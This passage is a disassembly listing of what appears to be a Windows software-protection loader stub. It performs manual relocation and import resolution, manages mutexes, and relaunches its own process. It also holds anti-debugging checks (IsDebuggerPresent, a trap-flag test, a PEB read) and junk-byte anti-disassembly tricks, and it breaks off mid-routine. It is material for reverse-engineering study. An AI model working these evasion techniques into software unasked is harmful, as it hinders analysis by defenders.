		mov	[ebp-50h], ecx
		mov	byte ptr [ebp-58h], 0
		mov	byte ptr [ebp-54h], 0
		mov	byte ptr [ebp-4Ch], 0
		mov	edx, [ebp-50h]
		and	edx, 20000020h
		test	edx, edx
		jz	short loc_4B5182
		mov	byte ptr [ebp-4Ch], 1


loc_4B5182:				; CODE XREF: .text:004B517Cj
		mov	eax, [ebp-50h]
		and	eax, 40000000h
		test	eax, eax
		jz	short loc_4B5192
		mov	byte ptr [ebp-58h], 1


loc_4B5192:				; CODE XREF: .text:004B518Cj
		mov	ecx, [ebp-50h]
		and	ecx, 80000000h
		test	ecx, ecx
		jz	short loc_4B51A3
		mov	byte ptr [ebp-54h], 1


loc_4B51A3:				; CODE XREF: .text:004B519Dj
		mov	dword ptr [ebp-44h], 1
		mov	edx, [ebp-4Ch]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_4B51EB
		mov	eax, [ebp-54h]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4B51CC
		mov	dword ptr [ebp-44h], 40h
		jmp	short loc_4B51E9
; ---------------------------------------------------------------------------


loc_4B51CC:				; CODE XREF: .text:004B51C1j
		mov	ecx, [ebp-58h]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_4B51E2
		mov	dword ptr [ebp-44h], 20h
		jmp	short loc_4B51E9
; ---------------------------------------------------------------------------


loc_4B51E2:				; CODE XREF: .text:004B51D7j
		mov	dword ptr [ebp-44h], 10h


loc_4B51E9:				; CODE XREF: .text:004B51CAj
					; .text:004B51E0j
		jmp	short loc_4B5214
; ---------------------------------------------------------------------------


loc_4B51EB:				; CODE XREF: .text:004B51B5j
		mov	edx, [ebp-58h]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_4B5214
		mov	eax, [ebp-54h]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4B520D
		mov	dword ptr [ebp-44h], 4
		jmp	short loc_4B5214
; ---------------------------------------------------------------------------


loc_4B520D:				; CODE XREF: .text:004B5202j
		mov	dword ptr [ebp-44h], 2


loc_4B5214:				; CODE XREF: .text:loc_4B51E9j
					; .text:004B51F6j ...
		mov	ecx, [ebp-0Ch]
		mov	edx, [ebp-20h]
		add	edx, [ecx+0Ch]
		mov	[ebp-60h], edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+8]
		mov	[ebp-48h], ecx
		lea	edx, [ebp-5Ch]
		push	edx
		mov	eax, [ebp-44h]
		push	eax
		mov	ecx, [ebp-48h]
		push	ecx
		mov	edx, [ebp-60h]
		push	edx
		call	dword_4ED06C	; VirtualProtect
		test	eax, eax
		jnz	short loc_4B5251
		mov	dword_4F4370, 4
		xor	eax, eax
		jmp	short loc_4B528C
; ---------------------------------------------------------------------------


loc_4B5251:				; CODE XREF: .text:004B5241j
		mov	eax, [ebp-0Ch]
		add	eax, 28h
		mov	[ebp-0Ch], eax
		jmp	loc_4B5150
; ---------------------------------------------------------------------------


loc_4B525F:				; CODE XREF: .text:004B5156j
		mov	ecx, [ebp-28h]
		mov	edx, [ebp-20h]
		add	edx, [ecx+10h]
		mov	dword_4F4368, edx
		mov	eax, [ebp-30h]
		mov	[ebp-68h], eax
		mov	ecx, [ebp-68h]
		push	ecx
		call	sub_4C85D6
		add	esp, 4
		mov	edx, [ebp-20h]
		mov	dword_4F4364, edx
		mov	eax, [ebp+8]


loc_4B528C:				; CODE XREF: .text:004B4DE2j
					; .text:004B4F95j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B5293	proc near		; CODE XREF: .text:004B5104p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+arg_C]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		sub	edx, [ebp+arg_4]
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		jz	loc_4B5411


loc_4B52BB:				; CODE XREF: sub_4B5293:loc_4B540Cj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	loc_4B5411
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+4]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_10]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_C]
		jbe	short loc_4B52EF
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_14], ecx


loc_4B52EF:				; CODE XREF: sub_4B5293+54j
		mov	edx, [ebp+var_8]
		add	edx, 8
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+arg_0]
		mov	[ebp+var_18], eax


loc_4B5301:				; CODE XREF: sub_4B5293:loc_4B5407j
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_14]
		jnb	loc_4B540C
		mov	edx, [ebp+var_8]
		mov	ax, [edx]
		mov	word ptr [ebp+var_28], ax
		mov	ecx, [ebp+var_8]
		add	ecx, 2
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_28]
		and	edx, 0FFFFh
		and	edx, 0F000h
		sar	edx, 0Ch
		mov	word ptr [ebp+var_20], dx
		mov	eax, [ebp+var_28]
		and	eax, 0FFFFh
		and	eax, 0FFFh
		mov	word ptr [ebp+var_24], ax
		mov	ecx, [ebp+var_20]
		and	ecx, 0FFFFh
		cmp	ecx, 1
		jnz	short loc_4B5388
		mov	edx, [ebp+var_24]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_18]
		add	eax, edx
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_2C]
		xor	edx, edx
		mov	dx, [ecx]
		mov	eax, [ebp+var_4]
		and	eax, 0FF00h
		shr	eax, 10h
		and	eax, 0FFFFh
		add	edx, eax
		mov	ecx, [ebp+var_2C]
		mov	[ecx], dx
		jmp	short loc_4B5407
; ---------------------------------------------------------------------------


loc_4B5388:				; CODE XREF: sub_4B5293+C0j
		mov	edx, [ebp+var_20]
		and	edx, 0FFFFh
		cmp	edx, 2
		jnz	short loc_4B53C7
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_18]
		add	ecx, eax
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_30]
		xor	eax, eax
		mov	ax, [edx]
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFh
		and	ecx, 0FFFFh
		add	eax, ecx
		mov	edx, [ebp+var_30]
		mov	[edx], ax
		jmp	short loc_4B5407
; ---------------------------------------------------------------------------


loc_4B53C7:				; CODE XREF: sub_4B5293+101j
		mov	eax, [ebp+var_20]
		and	eax, 0FFFFh
		cmp	eax, 3
		jnz	short loc_4B53F7
		mov	ecx, [ebp+var_24]
		and	ecx, 0FFFFh
		mov	edx, [ebp+var_18]
		mov	eax, [edx+ecx]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_24]
		and	ecx, 0FFFFh
		mov	edx, [ebp+var_18]
		mov	[edx+ecx], eax
		jmp	short loc_4B5407
; ---------------------------------------------------------------------------


loc_4B53F7:				; CODE XREF: sub_4B5293+13Fj
		mov	eax, [ebp+var_20]
		and	eax, 0FFFFh
		test	eax, eax
		jz	short loc_4B5407
		xor	al, al
		jmp	short loc_4B5413
; ---------------------------------------------------------------------------


loc_4B5407:				; CODE XREF: sub_4B5293+F3j
					; sub_4B5293+132j ...
		jmp	loc_4B5301
; ---------------------------------------------------------------------------


loc_4B540C:				; CODE XREF: sub_4B5293+74j
		jmp	loc_4B52BB
; ---------------------------------------------------------------------------


loc_4B5411:				; CODE XREF: sub_4B5293+22j
					; sub_4B5293+2Ej
		mov	al, 1


loc_4B5413:				; CODE XREF: sub_4B5293+172j
		mov	esp, ebp
		pop	ebp
		retn
sub_4B5293	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B5417	proc near		; CODE XREF: .text:004B5132p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	[ebp+var_8], 80000000h
		cmp	[ebp+arg_4], 0
		jnz	short loc_4B5431
		mov	al, 1
		jmp	loc_4B55AC
; ---------------------------------------------------------------------------


loc_4B5431:				; CODE XREF: sub_4B5417+11j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4B543A:				; CODE XREF: sub_4B5417+18Ej
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+0Ch], 0
		jz	loc_4B55AA
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		add	eax, [ebp+arg_0]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		add	edx, [ebp+arg_0]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		add	ecx, [ebp+arg_0]
		mov	[ebp+var_14], ecx
		push	0
		call	dword_4ED080	; RtlRestoreLastWin32Error
		mov	edx, [ebp+var_18]
		push	edx
		call	dword_4ED07C	; LoadLibraryA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_4B54B3
		mov	dword_4F4370, 3
		call	dword_4ED078	; RtlGetLastWin32Error
		push	eax
		mov	eax, [ebp+var_18]
		push	eax
		push	offset aFileSErrorD ; "File \"%s\", error %d"
		push	offset byte_4F4374 ; Dest
		call	_sprintf_0
		add	esp, 10h
		xor	al, al
		jmp	loc_4B55AC
; ---------------------------------------------------------------------------


loc_4B54B3:				; CODE XREF: sub_4B5417+6Cj
					; sub_4B5417+180j
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx], 0
		jz	loc_4B559C
		mov	[ebp+var_1C], 0
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		and	eax, 80000000h
		test	eax, eax
		jz	short loc_4B552F
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		and	edx, 0FFFFh
		mov	word ptr [ebp+var_20], dx
		mov	eax, [ebp+var_20]
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		call	dword_4ED074	; GetProcAddress
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_4B552D
		mov	dword_4F4370, 3
		mov	edx, [ebp+var_20]
		and	edx, 0FFFFh
		push	edx
		mov	eax, [ebp+var_18]
		push	eax
		push	offset aFileSOrdinalD ;	"File \"%s\", ordinal %d"
		push	offset byte_4F4374 ; Dest
		call	_sprintf_0
		add	esp, 10h
		xor	al, al
		jmp	short loc_4B55AC
; ---------------------------------------------------------------------------


loc_4B552D:				; CODE XREF: sub_4B5417+E6j
		jmp	short loc_4B557D
; ---------------------------------------------------------------------------


loc_4B552F:				; CODE XREF: sub_4B5417+BBj
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_0]
		lea	ecx, [edx+eax+2]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	dword_4ED074	; GetProcAddress
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_4B557D
		mov	dword_4F4370, 3
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+var_18]
		push	edx
		push	offset aFileSFunctionS ; "File \"%s\", function	\"%s\""
		push	offset byte_4F4374 ; Dest
		call	_sprintf_0
		add	esp, 10h
		xor	al, al
		jmp	short loc_4B55AC
; ---------------------------------------------------------------------------


loc_4B557D:				; CODE XREF: sub_4B5417:loc_4B552Dj
					; sub_4B5417+13Cj
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx
		mov	edx, [ebp+var_14]
		add	edx, 4
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_10]
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	loc_4B54B3
; ---------------------------------------------------------------------------


loc_4B559C:				; CODE XREF: sub_4B5417+A2j
		mov	ecx, [ebp+var_4]
		add	ecx, 14h
		mov	[ebp+var_4], ecx
		jmp	loc_4B543A
; ---------------------------------------------------------------------------


loc_4B55AA:				; CODE XREF: sub_4B5417+2Aj
		mov	al, 1


loc_4B55AC:				; CODE XREF: sub_4B5417+15j
					; sub_4B5417+97j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4B5417	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4B55B0	proc near		; CODE XREF: sub_4B45FB+129p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_1C]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_1C]
		add	eax, [edx+3Ch]
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+var_24]
		add	ecx, 0F8h
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+var_1C]
		add	eax, [edx+78h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_1C]
		add	edx, [ecx+20h]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_1C]
		add	ecx, [eax+24h]
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_1C]
		add	eax, [edx+1Ch]
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], 0
		jmp	short loc_4B561C
; ---------------------------------------------------------------------------


loc_4B5613:				; CODE XREF: sub_4B55B0:loc_4B5663j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_4B561C:				; CODE XREF: sub_4B55B0+61j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		cmp	eax, [edx+18h]
		jnb	short loc_4B5665
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_1C]
		add	eax, [edx+ecx*4]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		call	unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
		add	esp, 8
		test	eax, eax
		jnz	short loc_4B5663
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_20]
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_1C]
		add	ecx, [eax+edx*4]
		mov	eax, ecx
		jmp	short loc_4B5667
; ---------------------------------------------------------------------------


loc_4B5663:				; CODE XREF: sub_4B55B0+98j
		jmp	short loc_4B5613
; ---------------------------------------------------------------------------


loc_4B5665:				; CODE XREF: sub_4B55B0+75j
		xor	eax, eax


loc_4B5667:				; CODE XREF: sub_4B55B0+B1j
		mov	esp, ebp
		pop	ebp
		retn
sub_4B55B0	endp

; ---------------------------------------------------------------------------


loc_4B566B:				; CODE XREF: sub_4B5E84+3p
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4F1EF0
		push	offset unknown_libname_18 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFF8C4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	byte ptr [ebp-24h], 1
		mov	eax, dword_4ED02C
		mov	[ebp-20h], eax
		mov	ecx, [ebp-20h]
		add	ecx, 1
		mov	[ebp-20h], ecx
		mov	edx, dword_4ED218
		mov	[ebp-20h], edx
		mov	eax, [ebp-20h]
		add	eax, 1
		mov	[ebp-20h], eax
		mov	ecx, dword_4ED21C
		mov	[ebp-20h], ecx
		mov	edx, [ebp-20h]
		add	edx, 1
		mov	[ebp-20h], edx
		push	offset sub_4B45CC
		call	sub_4C935C
		add	esp, 4
		mov	eax, dword_4ED3E4
		xor	eax, dword_4ED420
		push	eax
		call	dword_4ED1B8	; GetCurrentProcessId
		push	eax
		push	offset aXDa08x	; "%X::DA%08X"
		lea	ecx, [ebp-128h]
		push	ecx
		call	_sprintf_0
		add	esp, 10h
		lea	edx, [ebp-128h]
		push	edx
		push	0
		push	1F0001h
		call	dword_4ED0A8	; OpenMutexA
		test	eax, eax
		jz	short loc_4B571D
		mov	byte ptr [ebp-24h], 0


loc_4B571D:				; CODE XREF: .text:004B5717j
		mov	eax, [ebp-24h]
		and	eax, 0FFh
		test	eax, eax
		jz	loc_4B58C4
		mov	ecx, dword_4ED3B0
		xor	ecx, dword_4ED3FC
		xor	ecx, dword_4ED3F0
		and	ecx, 20h
		test	ecx, ecx
		jz	loc_4B58C4
		mov	edx, dword_4ED3A8
		xor	edx, dword_4ED418
		xor	edx, dword_4ED3E4
		push	edx
		push	offset aRn08x	; "RN%08X"
		lea	eax, [ebp-128h]
		push	eax
		call	_sprintf_0
		add	esp, 0Ch
		lea	ecx, [ebp-128h]
		push	ecx
		push	0
		push	0
		call	dword_4ED0A4	; CreateMutexA
		mov	[ebp-12Ch], eax
		cmp	dword ptr [ebp-12Ch], 0
		jz	loc_4B58C4
		call	dword_4ED078	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	loc_4B58C4
		push	7530h
		mov	edx, [ebp-12Ch]
		push	edx
		call	dword_4ED0A0	; WaitForSingleObject
		mov	[ebp-130h], eax
		cmp	dword ptr [ebp-130h], 0
		jz	short loc_4B57D7
		cmp	dword ptr [ebp-130h], 80h
		jnz	loc_4B58BA


loc_4B57D7:				; CODE XREF: .text:004B57C5j
		mov	eax, dword_4ED3A8
		xor	eax, dword_4ED418
		xor	eax, dword_4ED3E4
		push	eax
		push	offset a08x	; "%08X"
		lea	ecx, [ebp-128h]
		push	ecx
		call	_sprintf_0
		add	esp, 0Ch
		mov	dword ptr [ebp-138h], 0
		jmp	short loc_4B5818
; ---------------------------------------------------------------------------


loc_4B5809:				; CODE XREF: .text:004B584Fj
		mov	edx, [ebp-138h]
		add	edx, 1
		mov	[ebp-138h], edx


loc_4B5818:				; CODE XREF: .text:004B5807j
		cmp	dword ptr [ebp-138h], 12Ch
		jge	short loc_4B5851
		lea	eax, [ebp-128h]
		push	eax
		push	offset aMainclass ; "MainClass"
		call	dword_4ED220	; FindWindowA
		mov	[ebp-134h], eax
		cmp	dword ptr [ebp-134h], 0
		jz	short loc_4B5847
		jmp	short loc_4B5851
; ---------------------------------------------------------------------------


loc_4B5847:				; CODE XREF: .text:004B5843j
		push	64h
		call	dword_4ED1A4	; Sleep
		jmp	short loc_4B5809
; ---------------------------------------------------------------------------


loc_4B5851:				; CODE XREF: .text:004B5822j
					; .text:004B5845j
		cmp	dword ptr [ebp-134h], 0
		jz	short loc_4B58AD
		mov	ecx, dword_4ED3A8
		xor	ecx, dword_4ED418
		xor	ecx, dword_4ED3E4
		mov	[ebp-144h], ecx
		mov	edx, dword_4F4138
		push	edx
		call	_strlen_0
		add	esp, 4
		add	eax, 1
		mov	[ebp-140h], eax
		mov	eax, dword_4F4138
		mov	[ebp-13Ch], eax
		lea	ecx, [ebp-144h]
		push	ecx
		push	0
		push	4Ah
		mov	edx, [ebp-134h]
		push	edx
		call	dword_4ED25C	; SendMessageA


loc_4B58AD:				; CODE XREF: .text:004B5858j
		mov	eax, [ebp-12Ch]
		push	eax
		call	dword_4ED09C	; ReleaseMutex


loc_4B58BA:				; CODE XREF: .text:004B57D1j
		mov	eax, 1
		jmp	loc_4B5E24
; ---------------------------------------------------------------------------


loc_4B58C4:				; CODE XREF: .text:004B5727j
					; .text:004B5744j ...
		push	1
		call	sub_4B5E35
		add	esp, 4
		mov	ecx, [ebp-24h]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	loc_4B5ABF
		mov	edx, dword_4ED3B0
		xor	edx, dword_4ED3FC
		xor	edx, dword_4ED3F0
		and	edx, 40h
		test	edx, edx
		jnz	loc_4B5ABF
		push	200h
		lea	eax, [ebp-344h]
		push	eax
		push	offset a_pad64	; "_PAD64"
		call	dword_4ED068	; GetEnvironmentVariableA
		test	eax, eax
		jnz	loc_4B5ABF
		push	0C8h
		push	23h
		lea	ecx, [ebp-344h]
		push	ecx
		call	_memset_0
		add	esp, 0Ch
		mov	byte ptr [ebp-27Ch], 0
		mov	dword ptr [ebp-448h], 1
		jmp	short loc_4B5953
; ---------------------------------------------------------------------------


loc_4B5944:				; CODE XREF: .text:004B598Bj
		mov	edx, [ebp-448h]
		add	edx, 1
		mov	[ebp-448h], edx


loc_4B5953:				; CODE XREF: .text:004B5942j
		cmp	dword ptr [ebp-448h], 40h
		jg	short loc_4B598D
		mov	eax, [ebp-448h]
		push	eax
		push	offset a_padD	; "_PAD%d"
		lea	ecx, [ebp-444h]
		push	ecx
		call	_sprintf_0
		add	esp, 0Ch
		lea	edx, [ebp-344h]
		push	edx
		lea	eax, [ebp-444h]
		push	eax
		call	dword_4ED098	; SetEnvironmentVariableA
		jmp	short loc_4B5944
; ---------------------------------------------------------------------------


loc_4B598D:				; CODE XREF: .text:004B595Aj
		mov	ecx, dword_4ED3B0
		xor	ecx, dword_4ED3FC
		xor	ecx, dword_4ED3F0
		and	ecx, 10h
		test	ecx, ecx
		jnz	loc_4B5ABF
		lea	edx, [ebp-5A0h]
		push	edx
		call	dword_4ED094	; GetStartupInfoA
		mov	al, byte_4F4120
		mov	[ebp-6A4h], al
		mov	ecx, 40h
		xor	eax, eax
		lea	edi, [ebp-6A3h]
		rep stosd
		stosw
		stosb
		mov	cl, byte_4F4120
		mov	[ebp-55Ch], cl
		mov	ecx, 40h
		xor	eax, eax
		lea	edi, [ebp-55Bh]
		rep stosd
		stosw
		stosb
		cmp	dword_4F4130, 1
		jnz	short loc_4B5A28
		cmp	dword ptr [ebp-594h], 0
		jnz	short loc_4B5A28
		lea	edx, [ebp-6A4h]
		push	edx
		call	sub_4B72D0
		add	esp, 4
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4B5A28
		lea	eax, [ebp-6A4h]
		mov	[ebp-594h], eax


loc_4B5A28:				; CODE XREF: .text:004B59F9j
					; .text:004B5A02j ...
		push	104h
		lea	ecx, [ebp-55Ch]
		push	ecx
		push	0
		call	dword_4ED1C4	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_4B5A47
		xor	eax, eax
		jmp	loc_4B5E24
; ---------------------------------------------------------------------------


loc_4B5A47:				; CODE XREF: .text:004B5A3Ej
		lea	edx, [ebp-458h]
		push	edx
		lea	eax, [ebp-5A0h]
		push	eax
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		call	dword_4ED090	; GetCommandLineA
		push	eax
		lea	ecx, [ebp-55Ch]
		push	ecx
		call	dword_4ED08C	; CreateProcessA
		test	eax, eax
		jnz	short loc_4B5AA3
		mov	dword_4F4370, 6
		call	dword_4ED078	; RtlGetLastWin32Error
		push	eax
		push	offset aLocationXebErr ; "(Location XEB, error code %d)"
		push	offset byte_4F4374
		call	_sprintf_0
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_4B5E24
; ---------------------------------------------------------------------------


loc_4B5AA3:				; CODE XREF: .text:004B5A77j
		push	2710h
		mov	edx, [ebp-458h]
		push	edx
		call	dword_4ED224	; WaitForInputIdle
		mov	eax, 1
		jmp	loc_4B5E24
; ---------------------------------------------------------------------------


loc_4B5ABF:				; CODE XREF: .text:004B58D9j
					; .text:004B58F6j ...
		mov	eax, dword_4ED3B0
		xor	eax, dword_4ED3FC
		xor	eax, dword_4ED3F0
		and	eax, 10h
		test	eax, eax
		jz	loc_4B5D9B
		mov	ecx, dword_4ED3E4
		xor	ecx, dword_4ED420
		push	ecx
		call	dword_4ED1B8	; GetCurrentProcessId
		push	eax
		push	offset aXDa08x	; "%X::DA%08X"
		lea	edx, [ebp-128h]
		push	edx
		call	_sprintf_0
		add	esp, 10h
		lea	eax, [ebp-128h]
		push	eax
		push	0
		push	1F0001h
		call	dword_4ED0A8	; OpenMutexA
		test	eax, eax
		jnz	loc_4B5D99
		push	1
		call	dword_4ED088	; GetCurrentThread
		push	eax
		call	dword_4ED084	; SetThreadPriority
		mov	byte ptr [ebp-6A8h], 0
		push	offset aKernel32_0 ; "Kernel32"
		call	dword_4ED07C	; LoadLibraryA
		mov	[ebp-6ACh], eax
		cmp	dword ptr [ebp-6ACh], 0
		jz	short loc_4B5B81
		push	offset aIsdebuggerpres ; "IsDebuggerPresent"
		mov	ecx, [ebp-6ACh]
		push	ecx
		call	dword_4ED074	; GetProcAddress
		mov	[ebp-744h], eax
		cmp	dword ptr [ebp-744h], 0
		jz	short loc_4B5B81
		call	dword ptr [ebp-744h]
		test	eax, eax
		jz	short loc_4B5B81
		mov	byte ptr [ebp-6A8h], 1


loc_4B5B81:				; CODE XREF: .text:004B5B4Dj
					; .text:004B5B6Ej ...
		mov	dword ptr [ebp-740h], 94h
		lea	edx, [ebp-740h]
		push	edx
		call	dword_4ED1B0	; GetVersionExA
		cmp	dword ptr [ebp-730h], 2
		jz	short loc_4B5C0D
		mov	byte ptr [ebp-748h], 0
		mov	dword ptr [ebp-4], 0
		pushfw
		pop	eax
		or	eax, 100h
		push	eax
		popfw
		nop
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_4B5BF7
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	edx, [ecx]
		mov	[ebp-74Ch], edx
		mov	eax, [ebp-74Ch]
		sub	eax, 80000004h
		neg	eax
		sbb	eax, eax
		and	al, 0FEh
		add	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	byte ptr [ebp-748h], 1
		mov	dword ptr [ebp-4], 0FFFFFFFFh


loc_4B5BF7:				; CODE XREF: .text:004B5BC2j
		mov	eax, [ebp-748h]
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_4B5C0D
		mov	byte_4F4740, 1


loc_4B5C0D:				; CODE XREF: .text:004B5B9Fj
					; .text:004B5C04j
		cmp	dword ptr [ebp-730h], 2
		jnz	short loc_4B5C77
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4B5C39 ; CODE	XREF: .text:loc_4B5CACj


loc_4B5C36:				; CODE XREF: .text:004B5C57j
		jmp	short near ptr loc_4B5C59+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B5C39:				; CODE XREF: .text:004B5C34j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4B5C4C
; ---------------------------------------------------------------------------
		db 0B8h
		db 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4B5C42:				; CODE XREF: .text:004B5C4Ej
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4B5C50
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4B5C4C:				; CODE XREF: .text:004B5C3Dj
		xor	eax, eax
		jz	short loc_4B5C42


loc_4B5C50:				; CODE XREF: .text:004B5C49j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4B5C36


loc_4B5C59:				; CODE XREF: .text:loc_4B5C36j
		jmp	near ptr 92B1F9BFh
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		mov	eax, large fs:30h


loc_4B5C68:				; CODE XREF: .text:004B5CD6j
		movzx	eax, byte ptr [eax+2]
		or	al, al
		jnz	short loc_4B5C8E
		jmp	loc_4B5CFF
; ---------------------------------------------------------------------------
		jmp	short loc_4B5C8E
; ---------------------------------------------------------------------------


loc_4B5C77:				; CODE XREF: .text:004B5C14j
		jo	short loc_4B5C80
		jl	short loc_4B5C7E


loc_4B5C7B:				; CODE XREF: .text:loc_4B5C7Ej
					; .text:loc_4B5C80j
		jmp	short loc_4B5C82
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4B5C7E:				; CODE XREF: .text:004B5C79j
		jz	short loc_4B5C7B


loc_4B5C80:				; CODE XREF: .text:loc_4B5C77j
		jmp	short loc_4B5C7B
; ---------------------------------------------------------------------------


loc_4B5C82:				; CODE XREF: .text:loc_4B5C7Bj
